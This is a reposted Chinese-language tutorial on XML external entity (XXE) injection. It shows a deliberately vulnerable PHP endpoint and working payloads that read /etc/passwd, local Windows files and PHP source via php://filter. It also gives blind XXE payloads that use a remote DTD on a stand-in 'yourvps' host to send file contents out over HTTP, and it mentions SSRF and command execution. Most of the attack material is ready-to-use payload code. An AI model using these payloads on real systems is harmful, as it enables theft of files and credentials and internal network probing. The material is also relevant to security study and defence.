小試XML實體注入攻擊


基礎知識

XML(Extensible Markup Language)被設計用來傳輸和存儲數據。關於它的語法,本文不准備寫太多,只簡單介紹一下。

XML基本知識

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>chybeta</to>
<from>ph0en1x</from>
</note>

在上面代碼中的第一行,定義XML的版本與編碼。

在XML文檔中,所有的元素都必須正確的嵌套,形成樹形結構。並且整個XML文檔中必須要有一個根元素。如上代碼,<note>是整個文檔的根元素。嵌套在note標簽中的<to><from>則是根的子元素。

同時,所有的XML元素都必須有關閉標簽,這點不像html語法那樣松散。如果缺失關閉標簽,則會導致XML解析失敗。

實體

所有的XML文檔都由五種簡單的構建模塊(元素,屬性,實體,PCDATA CDATA)構成。這里着重介紹一下實體:實體是用於定義引用普通文本或特殊字符的快捷方式的變量,實體引用是對實體的引用。實體可在內部或外部進行聲明。因此我們利用引入實體,構造惡意內容,從而達到攻擊的目的。

實體類型

XML實體分為四種:字符實體,命名實體,外部實體,參數實體。

文檔類型定義:DTD

wikipedia關於這的描述是:The XML DTD syntax is one of several XML schema languages。簡單的說,DTD的作用是定義XML文檔的合法構建模塊。如前所述,實體也是構建模塊之一。因此可以利用DTD來內部或外部引入實體。

其基本格式:

1
<!DOCTYPE 根元素名 [ 元素描述 ]>

 

內部引入

格式:

1
<!ENTITY 實體名稱 "實體的值">

 

將DTD和XML放在同一份文檔中,利用DTD定義的實體即為內部實體。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe>

 

訪問該XML文檔,&chybeta;會被解析為Hello World!並輸出。

外部引入

基本格式:

1
<!ENTITY 實體名稱 SYSTEM "URI">

 

通過引用定義在外部的DTD中的實體,我們稱之為外部實體。
由於xxe漏洞主要利用的是外部實體,所以這里暫不展開。具體實例見下。

利用方式

xxe注入

以php環境為例,index.php內容如下:

1
2
3
4
<?php
$xml=simplexml_load_string($_GET[ 'xml']);
print_r((string)$xml);
?>

 

讀取本地文件

利用各種協議可以讀取文件。比如file協議,這里的測試環境為win,所以這里我選擇讀取c盤里的TEST.txt。

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://TEST.txt">]>
<root>&file;</root>

 

將上述xml進行url編碼后傳進去,可以發現讀取了TEST.txt中的內容。

我這里測試時,如果不進行url編碼則不能成功解析。

若使用fill協議,在unix環境下,可以用如下xml來讀取passwd:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

 

如果要讀取php文件,因為php、html等文件中有各種括號<>,若直接用file讀取會導致解析錯誤,此時可以利用php://filter將內容轉換為base64后再讀取。

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>

這里同樣先經過url編碼后再傳入。讀取結果如下:

命令執行

php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。這里暫不進行測試。

內網探測/SSRF

由於xml實體注入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。

bind xxe

以php環境為例,現在更改index.php內容如下:

1
2
3
<?php
$xml=simplexml_load_string($_GET[ 'xml']);
?>

 

少了print_r,即沒有回顯消息。這個時候我們可以利用參數實體,通過發起http請求來攻擊。

讀取本地文件

payload1

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://TEST.txt">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

在我的vps的xxe.xml的內容如下:

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">

 

而測試文件TEST.txt內容為:

1
chybeta

 

整個的調用過程如下:解析時%dtd引入xxe.xml,之后%all引入send的定義,最后引用了實體send,把%file文件內容通過一個http請求發了出去。注意需要把payload經過url編碼。查看vps上的access.log:

若要讀取php等文件,同樣需要先經過base64加密下。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

 

查看access.log:

payload2

發送的xml:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %send;
]>

 

而在vps上的xxe.xml內容為:

1
<!ENTITY % payload2 "<!ENTITY &#x25; send SYSTEM 'http://yourvps/%file;'>"> %payload2;

 

注意的是,&#25; 不能直接寫成%,否則無法解析。

xxe.xml中定義和引用了%payload2,在通過%dtd引入xxe.xml后,得以使用符號實體%send來進行發送。其中%file為讀取的文件內容。查看access.log:

ctf

小試牛刀

拿jarvisoj平台上的題目來小試牛刀吧。

題目:api調用

題目描述:請設法獲得目標機器/home/ctf/flag.txt中的flag值

參考鏈接:https://chybeta.github.io/2017/07/04/%E5%B0%8F%E8%AF%95XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM